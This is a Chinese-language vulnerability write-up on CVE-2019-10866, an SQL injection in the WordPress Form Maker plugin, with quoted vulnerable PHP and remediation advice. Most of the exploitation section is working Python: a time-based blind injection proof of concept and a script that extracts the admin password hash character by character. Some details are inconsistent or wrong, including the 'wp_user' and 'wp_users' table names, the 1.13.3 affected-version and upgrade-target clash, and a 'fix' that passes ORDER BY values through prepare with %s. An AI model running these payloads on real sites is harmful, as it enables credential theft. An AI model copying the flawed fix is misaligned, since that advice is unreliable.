WordPress插件Form Maker SQL注入漏洞分析
字数 975 2025-08-18 11:38:41
WordPress插件Form Maker SQL注入漏洞分析教学文档
漏洞概述
漏洞名称: WordPress插件Form Maker SQL注入漏洞
CVE编号: CVE-2019-10866
影响版本: Form Maker 1.13.3之前版本
漏洞类型: SQL注入
风险等级: 高危
漏洞位置: /wp-content/plugins/form-maker/admin/models/Submissions_fm.php
漏洞原理分析
漏洞代码位置
漏洞存在于Form Maker插件的两个关键文件中:
/wp-content/plugins/form-maker/admin/models/Submissions_fm.php/wp-content/plugins/form-maker/admin/controllers/Submissions_fm.php
关键漏洞代码
// Submissions_fm.php
$order_by = WDW_FM_Library(self::PLUGIN)->get('order_by', 'group_id');
$asc_or_desc = WDW_FM_Library(self::PLUGIN)->get('asc_or_desc', 'desc');
if ($order_by == 'group_id' or $order_by == 'date' or $order_by == 'ip') {
$orderby = ' ORDER BY ' . $order_by . $asc_or_desc . '';
}
漏洞成因
- 参数未过滤:
$asc_or_desc参数直接从用户输入获取,未经任何过滤或验证 - 直接拼接SQL:用户控制的
$asc_or_desc参数直接拼接到SQL查询中 - 缺乏预处理:未使用参数化查询或转义特殊字符
漏洞利用点
攻击者可以通过控制asc_or_desc参数注入恶意SQL代码,例如:
,(case+when+(select+sleep(5)+from+wp_user+limit+1)+then+1+else+2+end)+asc+--+
漏洞复现
环境搭建
- WordPress版本: 5.1
- Form Maker版本: 1.13.3
- 禁用自动更新: 确保插件不会自动更新
漏洞验证POC
import requests
import time
url_vuln = 'http://target/wp-admin/admin.php?page=submissions_fm&task=display¤t_id=2&order_by=group_id&group_id&asc_or_desc='
# 测试时间型盲注
payload = ',(case+when+(select+sleep(5)+from+wp_user+limit+1)+then+1+else+2+end)+asc+--+'
start_time = time.time()
requests.get(url_vuln + payload)
elapsed_time = time.time() - start_time
if elapsed_time >= 5:
print("Vulnerable to SQL injection")
漏洞利用
数据提取脚本
import requests
import time
url_vuln = 'http://target/wp-admin/admin.php?page=submissions_fm&task=display¤t_id=2&order_by=group_id&group_id&asc_or_desc='
session = requests.Session()
# 字典包含所有可能的字符
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
def get_admin_pass():
password = ""
position = 1
found = True
while found:
found = False
for char in dictionary:
# 构造时间型盲注payload
payload = f',(case+when+(select+ascii(substring(user_pass,{position},1))+from+wp_users+where+id=1)={ord(char)}+then+(select+sleep(5)+from+wp_users+limit+1)+else+2+end)+asc--'
start_time = time.time()
session.get(url_vuln + payload)
elapsed_time = time.time() - start_time
if elapsed_time >= 5:
password += char
print(f"Found character: {char}, Current password: {password}")
position += 1
found = True
break
print(f"[+] Admin password hash: {password}")
get_admin_pass()
修复方案
- 参数过滤:对
asc_or_desc参数进行严格过滤,只允许特定值(asc/desc) - 使用预处理语句:改为使用参数化查询
- 权限限制:限制非管理员用户访问敏感功能
修复代码示例
// 修复后的代码应包含参数验证
$allowed_order = ['asc', 'desc'];
$asc_or_desc = WDW_FM_Library(self::PLUGIN)->get('asc_or_desc', 'desc');
if (!in_array(strtolower($asc_or_desc), $allowed_order)) {
$asc_or_desc = 'desc';
}
// 使用prepare方法安全构建查询
$wpdb->prepare(' ORDER BY %s %s', $order_by, $asc_or_desc);
安全建议
- 及时更新:升级到Form Maker 1.13.3或更高版本
- 最小权限原则:限制WordPress后台访问权限
- 输入验证:对所有用户输入进行严格验证
- 安全编码:避免直接拼接SQL查询,使用预处理语句
- 安全审计:定期对插件进行安全审计
总结
该漏洞展示了Web应用程序中常见的SQL注入风险,特别是当用户输入直接拼接到SQL查询中时。开发人员应始终遵循安全编码实践,对所有用户输入进行验证和转义,并使用参数化查询来防止SQL注入攻击。